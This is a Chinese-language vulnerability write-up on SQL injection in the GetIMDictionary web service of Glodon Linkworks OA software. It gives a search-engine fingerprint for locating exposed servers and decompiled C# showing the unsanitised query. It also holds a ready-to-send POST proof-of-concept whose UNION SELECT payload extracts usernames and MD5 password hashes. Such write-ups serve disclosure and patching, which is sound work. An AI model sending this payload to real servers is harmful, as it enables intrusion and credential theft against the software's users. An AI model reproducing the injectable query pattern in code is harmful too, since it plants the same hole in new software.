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62 lines
1.9 KiB
Markdown
62 lines
1.9 KiB
Markdown
# 广联达 Linkworks GetIMDictionary SQL注入漏洞
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## 漏洞描述
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广联达 Linkworks办公OA GetIMDictionary接口存在SQL注入漏洞，发送请求包后可以获取数据库中的敏感信息
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## 漏洞影响
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广联达 Linkworks
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## 网络测绘
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```
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web.body="/Services/Identification/"
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```
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## 漏洞复现
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登陆页面
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```
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// GTP.IM.Services.Config.WebSite.WebService.IM.Config.ConfigService
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// Token: 0x06000018 RID: 24 RVA: 0x00004148 File Offset: 0x00002348
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[WebMethod(Description = "得到IM系统配置")]
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public string GetIMDictionary(string key)
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{
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string str = string.Empty;
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ISysConfigService service = ServiceFactory.GetService<ISysConfigService>();
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StringBuilder stringBuilder = new StringBuilder();
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stringBuilder.AppendFormat("select F_VALUE from T_IM_DICTIONARY where f_key='{0}';", key);
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DataSet dataSet = GSqlDataAccess.SelectDataSet(service.DataSourceName, stringBuilder.ToString(), new DataParameter[0]);
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if (dataSet != null && dataSet.Tables.Count > 0 && dataSet.Tables[0] != null)
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{
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foreach (object obj in dataSet.Tables[0].Rows)
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{
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DataRow dataRow = (DataRow)obj;
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str = dataRow["F_VALUE"].ToString();
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}
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}
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StringBuilder stringBuilder2 = new StringBuilder();
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stringBuilder2.Append("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
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stringBuilder2.Append("<result value=\"" + str + "\" >");
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stringBuilder2.Append("</result>");
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return stringBuilder2.ToString();
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}
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```
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验证POC
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```
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POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
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Host:
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Content-Type: application/x-www-form-urlencoded
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key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --
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```
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